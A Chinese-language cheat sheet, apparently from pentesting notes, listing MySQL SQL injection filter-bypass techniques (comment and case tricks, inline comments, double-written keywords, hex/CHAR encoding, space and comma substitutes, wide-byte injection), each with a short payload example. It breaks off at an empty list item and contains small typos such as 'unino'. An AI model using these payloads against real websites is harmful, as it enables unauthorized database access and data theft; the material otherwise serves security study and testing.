一,注释符绕过
1)-- 注释内容
2)# 注释内容
3)/* 注释内容 */
二,大小写绕过
用于大小写不敏感
列如
Union SElect 1,2
三,内联注释绕过
当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*! */中,这样这些语句如果在其它数据库中是不会被执行,但在 mysql 中会执行。
?id=1' union /*!select*/ 1,2
四,双写关键词绕过
有些会将关键词require()将关键词过滤,所以进行双写
union seselectlect 1,2
#会将中间的 select 过滤掉之后将 se 与 lect 合并形成新的select
五,编码绕过
1,十六进制绕过
?id=1' unino select 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B
这里演示的是引号被过滤了,表名用十六进制可以直接引用
2,ascii绕过
就是使用ascii 编码来替换需要引号引用的内容
Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
六,空格过滤绕过
可代替空格的方式:
1,/**/
2,()
3,`
4,tab
union/**/select/**/1,2
select(passwd)from(users) # 注意括号中不能含有 *
七,and,or,xor,not被过滤
and=&&,or=||,xor=|,not=!;
八,等号=被过滤
like,rlike
select * from users where id like 1;
2)regexp
MySQL 中使用 REGEXP 操作符来进行正则表达式匹配
eg:
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp 'users'
九,过滤引号绕过
1)使用编码绕过(16进制/ascii)
eg:
?id=1' unino select 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B
这里演示的是当引号被过滤后,可以使用十六进制来写表名这样在调用时表名会被直接调用使用。
2)宽字节注入
常用在 web 应用使用的字符集为 GBK 时,并且过滤了引号(一般为被函数转义的的过滤),就可以试试宽字节。
eg:
%df%27 union select 1,2,3
十,过滤了逗号
1) 过滤了逗号,并且只能盲注,在取子串的几个函数中,有一个替代逗号的方法就是使用 from for ,其中 pos 代表从 pos 个开始读取 len 长度的子串
eg:常规写法 select substr ("string",1,3)
若过滤了逗号,可以使用 from for 来取代 select substr ("string" from 1 for 3)
select ascii (substr(user() from 1 for 1)) > 110
2),join关键词绕过
适用于联合查询
select * from users union select * from (select 1)a join (select 2)b join(select 3)c
3)使用 like 关键字,适用于 substr () 等提取子串的函数中的逗号(适用于盲注)
select user() like "r%"
相当于 select ascii(substr(use(),1))=114
4)使用 offset 关键字,适用于 limit 中的逗号被过滤的情况
select * from users limit 1 offset 2
上式等价于 select * from users limit 2,1
不同点在于使用逗号是从行号在前进行截取,使用 offset 关键字是行号在后进行截取。
5)